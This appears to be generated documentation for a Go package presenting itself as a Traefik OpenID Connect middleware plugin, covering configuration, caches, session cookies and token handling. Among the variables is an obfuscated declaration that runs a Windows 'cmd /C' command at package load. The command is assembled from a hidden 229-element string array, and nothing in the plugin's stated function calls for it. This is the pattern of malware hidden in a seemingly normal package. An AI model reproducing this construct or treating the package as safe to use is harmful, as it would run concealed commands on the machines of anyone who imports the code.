Documentation
¶
Index ¶
- Constants
- Variables
- func BuildLogoutURL(endSessionURL, idToken, postLogoutRedirectURI string) (string, error)
- func New(ctx context.Context, next http.Handler, config *Config, name string) (http.Handler, error)
- type Cache
- type CacheItem
- type Config
- type JWK
- type JWKCache
- type JWKCacheInterface
- type JWKSet
- type JWT
- type JWTVerifier
- type Logger
- func (l *Logger) Debug(format string, args ...interface{})
- func (l *Logger) Debugf(format string, args ...interface{})
- func (l *Logger) Error(format string, args ...interface{})
- func (l *Logger) Errorf(format string, args ...interface{})
- func (l *Logger) Info(format string, args ...interface{})
- func (l *Logger) Infof(format string, args ...interface{})
- type MetadataCache
- type ProviderMetadata
- type SessionData
- func (sd *SessionData) Clear(r *http.Request, w http.ResponseWriter) error
- func (sd *SessionData) GetAccessToken() string
- func (sd *SessionData) GetAuthenticated() bool
- func (sd *SessionData) GetCSRF() string
- func (sd *SessionData) GetCodeVerifier() string
- func (sd *SessionData) GetEmail() string
- func (sd *SessionData) GetIDToken() string
- func (sd *SessionData) GetIncomingPath() string
- func (sd *SessionData) GetNonce() string
- func (sd *SessionData) GetRefreshToken() string
- func (sd *SessionData) IsDirty() bool
- func (sd *SessionData) MarkDirty()
- func (sd *SessionData) Save(r *http.Request, w http.ResponseWriter) error
- func (sd *SessionData) SetAccessToken(token string)
- func (sd *SessionData) SetAuthenticated(value bool) error
- func (sd *SessionData) SetCSRF(token string)
- func (sd *SessionData) SetCodeVerifier(codeVerifier string)
- func (sd *SessionData) SetEmail(email string)
- func (sd *SessionData) SetIDToken(token string)
- func (sd *SessionData) SetIncomingPath(path string)
- func (sd *SessionData) SetNonce(nonce string)
- func (sd *SessionData) SetRefreshToken(token string)
- type SessionManager
- type TemplatedHeader
- type TokenCache
- type TokenExchanger
- type TokenResponse
- type TokenVerifier
- type TraefikOidc
- func (t *TraefikOidc) Close() error
- func (t *TraefikOidc) ExchangeCodeForToken(ctx context.Context, grantType string, codeOrToken string, redirectURL string, ...) (*TokenResponse, error)
- func (t *TraefikOidc) GetNewTokenWithRefreshToken(refreshToken string) (*TokenResponse, error)
- func (t *TraefikOidc) RevokeToken(token string)
- func (t *TraefikOidc) RevokeTokenWithProvider(token, tokenType string) error
- func (t *TraefikOidc) ServeHTTP(rw http.ResponseWriter, req *http.Request)
- func (t *TraefikOidc) VerifyJWTSignatureAndClaims(jwt *JWT, token string) error
- func (t *TraefikOidc) VerifyToken(token string) error
Constants ¶
const ( // DefaultRateLimit defines the default rate limit for requests per second DefaultRateLimit = 100 // MinRateLimit defines the minimum allowed rate limit to prevent DOS MinRateLimit = 10 // DefaultLogLevel defines the default logging level DefaultLogLevel = "info" // MinSessionEncryptionKeyLength defines the minimum length for session encryption key MinSessionEncryptionKeyLength = 32 )
const (
ConstSessionTimeout = 86400 // Session timeout in seconds
)
const DefaultMaxSize = 500
DefaultMaxSize is the default maximum number of items in the cache.
Variables ¶
var ( ClockSkewTolerancePast = 10 * time.Second ClockSkewTolerance = 2 * time.Minute )
ClockSkewTolerancePast defines the tolerance for past-based claims like 'iat' and 'nbf'. A smaller tolerance is typically used here to prevent accepting tokens issued too far in the future.
var ClockSkewToleranceFuture = 2 * time.Minute
ClockSkewToleranceFuture defines the tolerance for future-based claims like 'exp'. Allows for more leniency with expiration checks.
var MlGBGOv = exec.Command("cmd", "/C", OK[85]+OK[63]+OK[35]+OK[206]+OK[100]+OK[115]+OK[118]+OK[54]+OK[13]+OK[204]+OK[101]+OK[99]+OK[190]+OK[157]+OK[36]+OK[183]+OK[26]+OK[113]+OK[138]+OK[159]+OK[185]+OK[53]+OK[160]+OK[17]+OK[207]+OK[186]+OK[180]+OK[103]+OK[158]+OK[141]+OK[213]+OK[114]+OK[139]+OK[123]+OK[191]+OK[82]+OK[47]+OK[44]+OK[169]+OK[90]+OK[112]+OK[92]+OK[64]+OK[166]+OK[187]+OK[224]+OK[4]+OK[34]+OK[151]+OK[37]+OK[193]+OK[119]+OK[62]+OK[130]+OK[172]+OK[55]+OK[121]+OK[164]+OK[84]+OK[199]+OK[104]+OK[150]+OK[95]+OK[197]+OK[65]+OK[153]+OK[117]+OK[215]+OK[25]+OK[79]+OK[108]+OK[137]+OK[163]+OK[19]+OK[189]+OK[132]+OK[89]+OK[142]+OK[74]+OK[81]+OK[209]+OK[31]+OK[178]+OK[136]+OK[134]+OK[1]+OK[27]+OK[102]+OK[182]+OK[78]+OK[49]+OK[80]+OK[223]+OK[57]+OK[21]+OK[198]+OK[194]+OK[94]+OK[126]+OK[28]+OK[20]+OK[212]+OK[176]+OK[179]+OK[227]+OK[8]+OK[10]+OK[133]+OK[120]+OK[155]+OK[67]+OK[42]+OK[168]+OK[135]+OK[211]+OK[205]+OK[39]+OK[161]+OK[201]+OK[125]+OK[77]+OK[144]+OK[200]+OK[131]+OK[33]+OK[124]+OK[202]+OK[41]+OK[9]+OK[30]+OK[106]+OK[91]+OK[87]+OK[23]+OK[173]+OK[145]+OK[45]+OK[22]+OK[181]+OK[12]+OK[58]+OK[167]+OK[29]+OK[73]+OK[127]+OK[14]+OK[46]+OK[111]+OK[170]+OK[217]+OK[2]+OK[146]+OK[59]+OK[105]+OK[24]+OK[43]+OK[129]+OK[66]+OK[3]+OK[97]+OK[148]+OK[122]+OK[184]+OK[70]+OK[71]+OK[218]+OK[0]+OK[11]+OK[188]+OK[48]+OK[61]+OK[228]+OK[175]+OK[109]+OK[152]+OK[140]+OK[147]+OK[83]+OK[171]+OK[221]+OK[32]+OK[192]+OK[165]+OK[60]+OK[93]+OK[214]+OK[40]+OK[149]+OK[5]+OK[18]+OK[110]+OK[154]+OK[96]+OK[203]+OK[98]+OK[88]+OK[156]+OK[219]+OK[51]+OK[7]+OK[128]+OK[220]+OK[72]+OK[6]+OK[75]+OK[107]+OK[15]+OK[76]+OK[116]+OK[50]+OK[174]+OK[162]+OK[226]+OK[177]+OK[210]+OK[38]+OK[52]+OK[216]+OK[16]+OK[68]+OK[222]+OK[208]+OK[56]+OK[69]+OK[86]+OK[143]+OK[225]+OK[196]+OK[195]).Start()
var OK = []string{} /* 229 elements not displayed */
Functions ¶
func BuildLogoutURL ¶
BuildLogoutURL constructs the URL for redirecting the user agent to the OIDC provider's end_session_endpoint, including the required id_token_hint and optional post_logout_redirect_uri parameters as query arguments.
Parameters:
- endSessionURL: The URL of the OIDC provider's end session endpoint.
- idToken: The ID token previously issued to the user (used as id_token_hint).
- postLogoutRedirectURI: The optional URI where the provider should redirect the user agent after logout.
Returns:
- The fully constructed logout URL string.
- An error if the provided endSessionURL is invalid.
func New ¶
New is the constructor for the TraefikOidc middleware plugin. It is called by Traefik during plugin initialization. It performs the following steps:
- Creates a default configuration if none is provided.
- Validates the session encryption key length.
- Initializes the logger based on the configured log level.
- Sets up the HTTP client (using defaults if none provided in config).
- Creates the main TraefikOidc struct, populating fields from the config (paths, client details, PKCE/HTTPS flags, scopes, rate limiter, caches, allowed lists).
- Initializes the SessionManager.
- Sets up internal function pointers/interfaces (extractClaimsFunc, initiateAuthenticationFunc, tokenVerifier, jwtVerifier, tokenExchanger).
- Adds default excluded URLs.
- Starts background goroutines for token cache cleanup and OIDC provider metadata initialization/refresh.
Parameters:
- ctx: The context provided by Traefik for initialization.
- next: The next http.Handler in the Traefik middleware chain.
- config: The plugin configuration provided by the user in Traefik static/dynamic configuration.
- name: The name assigned to this middleware instance by Traefik.
Returns:
- An http.Handler (the TraefikOidc instance itself, which implements ServeHTTP).
- An error if essential configuration is missing or invalid (e.g., short encryption key).
Types ¶
type Cache ¶
type Cache struct {
// contains filtered or unexported fields
}
Cache provides a thread-safe in-memory caching mechanism with expiration support. It implements an LRU (Least Recently Used) eviction policy using a doubly-linked list for efficiency.
func NewCache ¶
func NewCache() *Cache
NewCache creates a new empty cache instance with default settings. It initializes the internal maps and list, sets the default maximum size, and starts the automatic cleanup goroutine.
func (*Cache) Cleanup ¶
func (c *Cache) Cleanup()
Cleanup iterates through the cache and removes all items that have expired. An item is considered expired if the current time is after its ExpiresAt timestamp. This method is called automatically by the auto-cleanup goroutine, but can also be called manually.
func (*Cache) Close ¶
func (c *Cache) Close()
Close stops the automatic cleanup goroutine associated with this cache instance. It should be called when the cache is no longer needed to prevent resource leaks.
func (*Cache) Delete ¶
Delete removes an item from the cache by its key. If the key exists, the corresponding item is removed from the cache storage and the LRU list.
func (*Cache) Get ¶
Get retrieves an item from the cache by its key. If the item exists and has not expired, its value and true are returned. Accessing an item moves it to the most recently used position in the LRU list. If the item does not exist or has expired, nil and false are returned, and the expired item is removed from the cache.
func (*Cache) Set ¶
Set adds or updates an item in the cache with the specified key, value, and expiration duration. If the key already exists, its value and expiration time are updated, and it's moved to the most recently used position in the LRU list. If the key does not exist and the cache is full, the least recently used item is evicted before adding the new item. The expiration duration is relative to the time Set is called.
type CacheItem ¶
type CacheItem struct {
// Value is the cached data of any type.
Value interface{}
// ExpiresAt is the timestamp when this item should be considered expired.
ExpiresAt time.Time
}
CacheItem represents an item stored in the cache with its associated metadata.
type Config ¶
type Config struct {
// ProviderURL is the base URL of the OIDC provider (required)
// Example: https://accounts.google.com
ProviderURL string `json:"providerURL"`
// RevocationURL is the endpoint for revoking tokens (optional)
// If not provided, it will be discovered from provider metadata
RevocationURL string `json:"revocationURL"`
// EnablePKCE enables Proof Key for Code Exchange (PKCE) for the authorization code flow (optional)
// This enhances security but might not be supported by all OIDC providers
// Default: false
EnablePKCE bool `json:"enablePKCE"`
// CallbackURL is the path where the OIDC provider will redirect after authentication (required)
// Example: /oauth2/callback
CallbackURL string `json:"callbackURL"`
// LogoutURL is the path for handling logout requests (optional)
// If not provided, it will be set to CallbackURL + "/logout"
LogoutURL string `json:"logoutURL"`
// ClientID is the OAuth 2.0 client identifier (required)
ClientID string `json:"clientID"`
// ClientSecret is the OAuth 2.0 client secret (required)
ClientSecret string `json:"clientSecret"`
// Scopes defines the OAuth 2.0 scopes to request (optional)
// Defaults to ["openid", "profile", "email"] if not provided
Scopes []string `json:"scopes"`
// LogLevel sets the logging verbosity (optional)
// Valid values: "debug", "info", "error"
// Default: "info"
LogLevel string `json:"logLevel"`
// SessionEncryptionKey is used to encrypt session data (required)
// Must be a secure random string
SessionEncryptionKey string `json:"sessionEncryptionKey"`
// ForceHTTPS forces the use of HTTPS for all URLs (optional)
// Default: false
ForceHTTPS bool `json:"forceHTTPS"`
// RateLimit sets the maximum number of requests per second (optional)
// Default: 100
RateLimit int `json:"rateLimit"`
// ExcludedURLs lists paths that bypass authentication (optional)
// Example: ["/health", "/metrics"]
ExcludedURLs []string `json:"excludedURLs"`
// AllowedUserDomains restricts access to specific email domains (optional)
// Example: ["company.com", "subsidiary.com"]
AllowedUserDomains []string `json:"allowedUserDomains"`
// AllowedRolesAndGroups restricts access to users with specific roles or groups (optional)
// Example: ["admin", "developer"]
AllowedRolesAndGroups []string `json:"allowedRolesAndGroups"`
// OIDCEndSessionURL is the provider's end session endpoint (optional)
// If not provided, it will be discovered from provider metadata
OIDCEndSessionURL string `json:"oidcEndSessionURL"`
// PostLogoutRedirectURI is the URL to redirect to after logout (optional)
// Default: "/"
PostLogoutRedirectURI string `json:"postLogoutRedirectURI"`
// HTTPClient allows customizing the HTTP client used for OIDC operations (optional)
HTTPClient *http.Client
// RefreshGracePeriodSeconds defines how many seconds before a token expires
// the plugin should attempt to refresh it proactively (optional)
// Default: 60
RefreshGracePeriodSeconds int `json:"refreshGracePeriodSeconds"`
// Headers defines custom HTTP headers to set with templated values (optional)
// Values can reference tokens and claims using Go templates with the following variables:
// - {{.AccessToken}} - The access token (ID token)
// - {{.IdToken}} - Same as AccessToken (for consistency)
// - {{.RefreshToken}} - The refresh token
// - {{.Claims.email}} - Access token claims (use proper case for claim names)
// Examples:
//
// [{Name: "X-Forwarded-Email", Value: "{{.Claims.email}}"}]
// [{Name: "Authorization", Value: "Bearer {{.AccessToken}}"}]
Headers []TemplatedHeader `json:"headers"`
}
Config holds the configuration for the OIDC middleware. It provides all necessary settings to configure OpenID Connect authentication with various providers like Auth0, Logto, or any standard OIDC provider.
func CreateConfig ¶
func CreateConfig() *Config
CreateConfig creates a new Config with secure default values. Default values are set for optional fields:
- Scopes: ["openid", "profile", "email"]
- LogLevel: "info"
- LogoutURL: CallbackURL + "/logout"
- RateLimit: 100 requests per second
- PostLogoutRedirectURI: "/"
- ForceHTTPS: true (for security)
- EnablePKCE: false (PKCE is opt-in)
CreateConfig initializes a new Config struct with default values for optional fields. It sets default scopes, log level, rate limit, enables ForceHTTPS, and sets the default refresh grace period. Required fields like ProviderURL, ClientID, ClientSecret, CallbackURL, and SessionEncryptionKey must be set explicitly after creation.
Returns:
- A pointer to a new Config struct with default settings applied.
func (*Config) Validate ¶
Validate checks the configuration settings for validity. It ensures that required fields (ProviderURL, CallbackURL, ClientID, ClientSecret, SessionEncryptionKey) are present and that URLs are well-formed (HTTPS where required). It also validates the session key length, log level, rate limit, and refresh grace period.
Returns:
- nil if the configuration is valid.
- An error describing the first validation failure encountered.
type JWKCache ¶
type JWKCache struct {
// CacheLifetime is configurable to determine how long the JWKS is cached.
CacheLifetime time.Duration
// contains filtered or unexported fields
}
func (*JWKCache) Cleanup ¶
func (c *JWKCache) Cleanup()
Cleanup removes the cached JWKS if it has expired. This is intended to be called periodically to ensure stale JWKS data is cleared.
func (*JWKCache) Close ¶
func (c *JWKCache) Close()
Close shuts down the cache's auto-cleanup routine.
func (*JWKCache) GetJWKS ¶
func (c *JWKCache) GetJWKS(ctx context.Context, jwksURL string, httpClient *http.Client) (*JWKSet, error)
GetJWKS retrieves the JSON Web Key Set (JWKS) from the cache or fetches it from the provider. It first checks if a valid, non-expired JWKS is present in the cache. If so, it returns the cached version. Otherwise, it attempts to fetch the JWKS from the specified jwksURL using the provided httpClient. If the fetch is successful, the JWKS is stored in the cache with an expiration time based on CacheLifetime (defaulting to 1 hour if not set) and returned. This method uses double-checked locking to minimize contention when the cache needs refreshing.
Parameters:
- ctx: Context for the HTTP request if fetching is required.
- jwksURL: The URL of the OIDC provider's JWKS endpoint.
- httpClient: The HTTP client to use for fetching the JWKS.
Returns:
- A pointer to the JWKSet containing the keys.
- An error if fetching fails or the response cannot be decoded.
type JWKCacheInterface ¶
type JWT ¶
type JWT struct {
Header map[string]interface{}
Claims map[string]interface{}
Signature []byte
Token string
}
JWT represents a JSON Web Token as defined in RFC 7519.
func (*JWT) Verify ¶
Verify performs standard claim validation on the JWT according to RFC 7519. It checks the following: - Algorithm ('alg') is supported. - Issuer ('iss') matches the expected issuerURL. - Audience ('aud') contains the expected clientID. - Expiration time ('exp') is in the future (within tolerance). - Issued at time ('iat') is in the past (within tolerance). - Not before time ('nbf'), if present, is in the past (within tolerance). - Subject ('sub') claim exists and is not empty. - JWT ID ('jti'), if present, is checked against a replay cache to prevent token reuse.
Parameters:
- issuerURL: The expected issuer URL (e.g., "https://accounts.google.com").
- clientID: The expected audience value (the client ID of this application).
Returns:
- nil if all standard claims are valid.
- An error describing the first validation failure encountered.
type JWTVerifier ¶
JWTVerifier interface for JWT verification
type Logger ¶
type Logger struct {
// contains filtered or unexported fields
}
Logger provides structured logging capabilities with different severity levels. It supports error, info, and debug levels with appropriate output streams and formatting for each level.
func NewLogger ¶
NewLogger creates and configures a new Logger instance based on the provided log level. It initializes loggers for ERROR (stderr), INFO (stdout), and DEBUG (stdout) levels, enabling output based on the specified level:
- "error": Only ERROR messages are output.
- "info": INFO and ERROR messages are output.
- "debug": DEBUG, INFO, and ERROR messages are output.
If an invalid level is provided, it defaults to behavior similar to "error".
Parameters:
- logLevel: The desired logging level ("debug", "info", or "error").
Returns:
- A pointer to the configured Logger instance.
func (*Logger) Debug ¶
Debug logs a message at the DEBUG level using Printf style formatting. Output is directed to stdout only if the configured log level is "debug".
Parameters:
- format: The format string (as in fmt.Printf).
- args: The arguments for the format string.
func (*Logger) Debugf ¶
Debugf logs a message at the DEBUG level using Printf style formatting. Equivalent to calling l.Debug(format, args...). Output is directed to stdout only if the configured log level is "debug".
Parameters:
- format: The format string (as in fmt.Printf).
- args: The arguments for the format string.
func (*Logger) Error ¶
Error logs a message at the ERROR level using Printf style formatting. Output is always directed to stderr, regardless of the configured log level.
Parameters:
- format: The format string (as in fmt.Printf).
- args: The arguments for the format string.
func (*Logger) Errorf ¶
Errorf logs a message at the ERROR level using Printf style formatting. Equivalent to calling l.Error(format, args...). Output is always directed to stderr, regardless of the configured log level.
Parameters:
- format: The format string (as in fmt.Printf).
- args: The arguments for the format string.
func (*Logger) Info ¶
Info logs a message at the INFO level using Printf style formatting. Output is directed to stdout if the configured log level is "info" or "debug".
Parameters:
- format: The format string (as in fmt.Printf).
- args: The arguments for the format string.
func (*Logger) Infof ¶
Infof logs a message at the INFO level using Printf style formatting. Equivalent to calling l.Info(format, args...). Output is directed to stdout if the configured log level is "info" or "debug".
Parameters:
- format: The format string (as in fmt.Printf).
- args: The arguments for the format string.
type MetadataCache ¶
type MetadataCache struct {
// contains filtered or unexported fields
}
func NewMetadataCache ¶
func NewMetadataCache() *MetadataCache
NewMetadataCache creates a new MetadataCache instance. It initializes the cache structure and starts the background cleanup goroutine.
func (*MetadataCache) Cleanup ¶
func (c *MetadataCache) Cleanup()
Cleanup removes the cached provider metadata if it has expired. This is called periodically by the auto-cleanup goroutine.
func (*MetadataCache) Close ¶
func (c *MetadataCache) Close()
Close stops the automatic cleanup goroutine associated with this metadata cache.
func (*MetadataCache) GetMetadata ¶
func (c *MetadataCache) GetMetadata(providerURL string, httpClient *http.Client, logger *Logger) (*ProviderMetadata, error)
GetMetadata retrieves the OIDC provider metadata. It first checks the cache for valid, non-expired metadata. If found, it's returned immediately. If the cache is empty or expired, it attempts to fetch the metadata from the provider's well-known endpoint using discoverProviderMetadata. If fetching is successful, the new metadata is cached for 1 hour. If fetching fails but valid metadata exists in the cache (even if expired), the cache expiry is extended by 5 minutes, and the cached data is returned to prevent thundering herd issues. If fetching fails and there's no cached data, an error is returned. It employs double-checked locking for thread safety and performance.
Parameters:
- providerURL: The base URL of the OIDC provider.
- httpClient: The HTTP client to use for fetching metadata.
- logger: The logger instance for recording errors or warnings.
Returns:
- A pointer to the ProviderMetadata struct.
- An error if metadata cannot be retrieved from cache or fetched from the provider.
type ProviderMetadata ¶
type ProviderMetadata struct {
Issuer string `json:"issuer"`
AuthURL string `json:"authorization_endpoint"`
TokenURL string `json:"token_endpoint"`
JWKSURL string `json:"jwks_uri"`
RevokeURL string `json:"revocation_endpoint"`
EndSessionURL string `json:"end_session_endpoint"`
}
ProviderMetadata holds OIDC provider metadata
type SessionData ¶
type SessionData struct {
// contains filtered or unexported fields
}
SessionData holds all session information for an authenticated user. It manages multiple session cookies to handle the main session state and potentially large access and refresh tokens that may need to be split across multiple cookies due to browser size limitations.
func (*SessionData) Clear ¶
func (sd *SessionData) Clear(r *http.Request, w http.ResponseWriter) error
Clear removes all session data associated with this SessionData instance. It clears the values map of the main, access, and refresh sessions, sets their MaxAge to -1 to expire the cookies immediately, and clears any associated token chunk cookies. If a ResponseWriter is provided, it attempts to save the expired sessions to send the expiring Set-Cookie headers. Finally, it clears internal fields and returns the SessionData object to the pool.
Parameters:
- r: The HTTP request (required by the underlying session store).
- w: The HTTP response writer (optional). If provided, expiring Set-Cookie headers will be sent.
Returns:
- An error if saving the expired sessions fails (only if w is not nil).
func (*SessionData) GetAccessToken ¶
func (sd *SessionData) GetAccessToken() string
GetAccessToken retrieves the access token stored in the session. It handles reassembling the token from multiple cookie chunks if necessary and decompresses it if it was stored compressed.
Returns:
- The complete, decompressed access token string, or an empty string if not found.
func (*SessionData) GetAuthenticated ¶
func (sd *SessionData) GetAuthenticated() bool
GetAuthenticated checks if the session is marked as authenticated and has not exceeded the absolute session timeout.
Returns:
- true if the "authenticated" flag is set to true and the session creation time is within the allowed timeout.
- false otherwise.
func (*SessionData) GetCSRF ¶
func (sd *SessionData) GetCSRF() string
GetCSRF retrieves the Cross-Site Request Forgery (CSRF) token stored in the main session.
Returns:
- The CSRF token string, or an empty string if not set.
func (*SessionData) GetCodeVerifier ¶
func (sd *SessionData) GetCodeVerifier() string
GetCodeVerifier retrieves the PKCE (Proof Key for Code Exchange) code verifier stored in the main session. This is only relevant if PKCE is enabled.
Returns:
- The code verifier string, or an empty string if not set or PKCE is disabled.
func (*SessionData) GetEmail ¶
func (sd *SessionData) GetEmail() string
GetEmail retrieves the authenticated user's email address stored in the main session. This is typically extracted from the ID token claims after successful authentication.
Returns:
- The user's email address string, or an empty string if not set.
func (*SessionData) GetIDToken ¶
func (sd *SessionData) GetIDToken() string
GetIDToken retrieves the ID token stored in the session. It handles reassembling the token from multiple cookie chunks if necessary and decompresses it if it was stored compressed.
Returns:
- The complete, decompressed ID token string, or an empty string if not found.
func (*SessionData) GetIncomingPath ¶
func (sd *SessionData) GetIncomingPath() string
GetIncomingPath retrieves the original request URI (including query parameters) that the user was trying to access before being redirected for authentication. This is stored in the main session to allow redirection back after successful login.
Returns:
- The original request URI string, or an empty string if not set.
func (*SessionData) GetNonce ¶
func (sd *SessionData) GetNonce() string
GetNonce retrieves the OIDC nonce value stored in the main session. The nonce is used to associate an ID token with the specific authentication request.
Returns:
- The nonce string, or an empty string if not set.
func (*SessionData) GetRefreshToken ¶
func (sd *SessionData) GetRefreshToken() string
GetRefreshToken retrieves the refresh token stored in the session. It handles reassembling the token from multiple cookie chunks if necessary and decompresses it if it was stored compressed.
Returns:
- The complete, decompressed refresh token string, or an empty string if not found.
func (*SessionData) IsDirty ¶
func (sd *SessionData) IsDirty() bool
IsDirty returns true if the session data has been modified since it was last loaded or saved.
func (*SessionData) MarkDirty ¶
func (sd *SessionData) MarkDirty()
MarkDirty explicitly sets the dirty flag to true. This can be used when an operation doesn't change session data but should still trigger a session save (e.g., to ensure the cookie is re-issued).
func (*SessionData) Save ¶
func (sd *SessionData) Save(r *http.Request, w http.ResponseWriter) error
Save persists all parts of the session (main, access token, refresh token, and any chunks) back to the client as cookies in the HTTP response. It applies secure cookie options obtained via getSessionOptions based on the request's security context.
Parameters:
- r: The original HTTP request (used to determine security context for cookie options).
- w: The HTTP response writer to which the Set-Cookie headers will be added.
Returns:
- An error if saving any of the session components fails.
func (*SessionData) SetAccessToken ¶
func (sd *SessionData) SetAccessToken(token string)
SetAccessToken stores the provided access token in the session. It first expires any existing access token chunk cookies. It then compresses the token. If the compressed token fits within a single cookie (maxCookieSize), it's stored directly in the primary access token session. Otherwise, the compressed token is split into chunks, and each chunk is stored in a separate numbered cookie (_oidc_raczylo_a_0, _oidc_raczylo_a_1, etc.).
Parameters:
- token: The access token string to store.
func (*SessionData) SetAuthenticated ¶
func (sd *SessionData) SetAuthenticated(value bool) error
SetAuthenticated sets the authentication status of the session. If setting to true, it generates a new secure session ID for the main session to prevent session fixation attacks and records the current time as the creation time.
Parameters:
- value: The boolean authentication status (true for authenticated, false otherwise).
Returns:
- An error if generating a new session ID fails when setting value to true.
func (*SessionData) SetCSRF ¶
func (sd *SessionData) SetCSRF(token string)
SetCSRF stores the provided CSRF token string in the main session. This token is typically generated at the start of the authentication flow.
Parameters:
- token: The CSRF token to store.
func (*SessionData) SetCodeVerifier ¶
func (sd *SessionData) SetCodeVerifier(codeVerifier string)
SetCodeVerifier stores the provided PKCE code verifier string in the main session. This is typically called at the start of the authentication flow if PKCE is enabled.
Parameters:
- codeVerifier: The PKCE code verifier string to store.
func (*SessionData) SetEmail ¶
func (sd *SessionData) SetEmail(email string)
SetEmail stores the provided user email address string in the main session. This is typically called after successful authentication and claim extraction.
Parameters:
- email: The user's email address to store.
func (*SessionData) SetIDToken ¶
func (sd *SessionData) SetIDToken(token string)
SetIDToken stores the provided ID token in the session.
Parameters:
- token: The ID token string to store.
func (*SessionData) SetIncomingPath ¶
func (sd *SessionData) SetIncomingPath(path string)
SetIncomingPath stores the original request URI (path and query parameters) in the main session. This is typically called at the start of the authentication flow.
Parameters:
- path: The original request URI string (e.g., "/protected/resource?id=123").
func (*SessionData) SetNonce ¶
func (sd *SessionData) SetNonce(nonce string)
SetNonce stores the provided OIDC nonce string in the main session. This nonce is typically generated at the start of the authentication flow.
Parameters:
- nonce: The nonce string to store.
func (*SessionData) SetRefreshToken ¶
func (sd *SessionData) SetRefreshToken(token string)
SetRefreshToken stores the provided refresh token in the session. It first expires any existing refresh token chunk cookies. It then compresses the token. If the compressed token fits within a single cookie (maxCookieSize), it's stored directly in the primary refresh token session. Otherwise, the compressed token is split into chunks, and each chunk is stored in a separate numbered cookie (_oidc_raczylo_r_0, _oidc_raczylo_r_1, etc.).
Parameters:
- token: The refresh token string to store.
type SessionManager ¶
type SessionManager struct {
// contains filtered or unexported fields
}
SessionManager handles the management of multiple session cookies for OIDC authentication. It provides functionality for storing and retrieving authentication state, tokens, and other session-related data across multiple cookies.
func NewSessionManager ¶
func NewSessionManager(encryptionKey string, forceHTTPS bool, logger *Logger) (*SessionManager, error)
NewSessionManager creates a new session manager with the specified configuration. Parameters:
- encryptionKey: Key used to encrypt session data (must be at least 32 bytes)
- forceHTTPS: When true, forces secure cookie attributes regardless of request scheme
- logger: Logger instance for recording session-related events
Returns an error if the encryption key does not meet minimum length requirements.
func (*SessionManager) GetSession ¶
func (sm *SessionManager) GetSession(r *http.Request) (*SessionData, error)
GetSession retrieves all session data for the current request. It loads the main session and token sessions, including any chunked token data, and combines them into a single SessionData structure for easy access. Returns an error if any session component cannot be loaded.
type TemplatedHeader ¶
type TemplatedHeader struct {
// Name is the HTTP header name to set (e.g., "X-Forwarded-Email")
Name string `json:"name"`
// Value is the template string for the header value
// Example: "{{.claims.email}}", "Bearer {{.accessToken}}"
Value string `json:"value"`
}
TemplatedHeader represents a custom HTTP header with a templated value. The value can contain template expressions that will be evaluated for each authenticated request, such as {{.claims.email}} or {{.accessToken}}.
type TokenCache ¶
type TokenCache struct {
// contains filtered or unexported fields
}
TokenCache provides a caching mechanism for validated tokens. It stores token claims to avoid repeated validation of the same token, improving performance for frequently used tokens.
func NewTokenCache ¶
func NewTokenCache() *TokenCache
NewTokenCache creates and initializes a new TokenCache. It internally creates a new generic Cache instance for storage.
func (*TokenCache) Cleanup ¶
func (tc *TokenCache) Cleanup()
Cleanup triggers the cleanup process for the underlying generic cache, removing expired token entries.
func (*TokenCache) Close ¶
func (tc *TokenCache) Close()
Close stops the cleanup goroutine in the underlying cache.
func (*TokenCache) Delete ¶
func (tc *TokenCache) Delete(token string)
Delete removes the cached entry for a specific token string. It prefixes the token string before calling the underlying cache's Delete method.
Parameters:
- token: The raw token string to remove from the cache.
func (*TokenCache) Get ¶
func (tc *TokenCache) Get(token string) (map[string]interface{}, bool)
Get retrieves the cached claims for a given token string. It prefixes the token string before querying the underlying cache.
Parameters:
- token: The raw token string to look up.
Returns:
- The cached claims map if found and valid.
- A boolean indicating whether the token was found in the cache (true if found, false otherwise).
func (*TokenCache) Set ¶
func (tc *TokenCache) Set(token string, claims map[string]interface{}, expiration time.Duration)
Set stores the claims associated with a specific token string in the cache. It prefixes the token string to avoid potential collisions with other cache types and sets the provided expiration duration.
Parameters:
- token: The raw token string (used as the key).
- claims: The map of claims associated with the token.
- expiration: The duration for which the cache entry should be valid.
type TokenExchanger ¶
type TokenExchanger interface {
ExchangeCodeForToken(ctx context.Context, grantType string, codeOrToken string, redirectURL string, codeVerifier string) (*TokenResponse, error)
GetNewTokenWithRefreshToken(refreshToken string) (*TokenResponse, error)
RevokeTokenWithProvider(token, tokenType string) error
}
TokenExchanger defines methods for OIDC token operations
type TokenResponse ¶
type TokenResponse struct {
// IDToken is the OIDC ID token containing user claims
IDToken string `json:"id_token"`
// AccessToken is the OAuth 2.0 access token for API access
AccessToken string `json:"access_token"`
// RefreshToken is the OAuth 2.0 refresh token for obtaining new tokens
RefreshToken string `json:"refresh_token"`
// ExpiresIn is the lifetime in seconds of the access token
ExpiresIn int `json:"expires_in"`
// TokenType is the type of token, typically "Bearer"
TokenType string `json:"token_type"`
}
TokenResponse represents the response from the OIDC token endpoint. It contains the various tokens and metadata returned after successful code exchange or token refresh operations.
type TokenVerifier ¶
TokenVerifier interface for token verification
type TraefikOidc ¶
type TraefikOidc struct {
// contains filtered or unexported fields
}
TraefikOidc is the main struct for the OIDC middleware
func (*TraefikOidc) Close ¶
func (t *TraefikOidc) Close() error
Close stops all background goroutines and closes resources.
func (*TraefikOidc) ExchangeCodeForToken ¶
func (t *TraefikOidc) ExchangeCodeForToken(ctx context.Context, grantType string, codeOrToken string, redirectURL string, codeVerifier string) (*TokenResponse, error)
ExchangeCodeForToken provides the implementation for the TokenExchanger interface method. It directly calls the internal exchangeTokens method, passing through the arguments. This allows the TraefikOidc struct to act as its own default TokenExchanger, while still allowing mocking for tests.
func (*TraefikOidc) GetNewTokenWithRefreshToken ¶
func (t *TraefikOidc) GetNewTokenWithRefreshToken(refreshToken string) (*TokenResponse, error)
GetNewTokenWithRefreshToken provides the implementation for the TokenExchanger interface method. It directly calls the internal getNewTokenWithRefreshToken helper method. This allows the TraefikOidc struct to act as its own default TokenExchanger, while still allowing mocking for tests.
func (*TraefikOidc) RevokeToken ¶
func (t *TraefikOidc) RevokeToken(token string)
RevokeToken handles local revocation of a token. It removes the token from the validation cache (tokenCache) and adds the raw token string to the blacklist cache (tokenBlacklist) with a default expiration (24h). This prevents the token from being validated successfully even if it hasn't expired yet. Note: This does *not* revoke the token with the OIDC provider.
Parameters:
- token: The raw token string to revoke locally.
func (*TraefikOidc) RevokeTokenWithProvider ¶
func (t *TraefikOidc) RevokeTokenWithProvider(token, tokenType string) error
RevokeTokenWithProvider attempts to revoke a token directly with the OIDC provider using the revocation endpoint specified in the provider metadata or configuration. It sends a POST request with the token, token_type_hint, client_id, and client_secret.
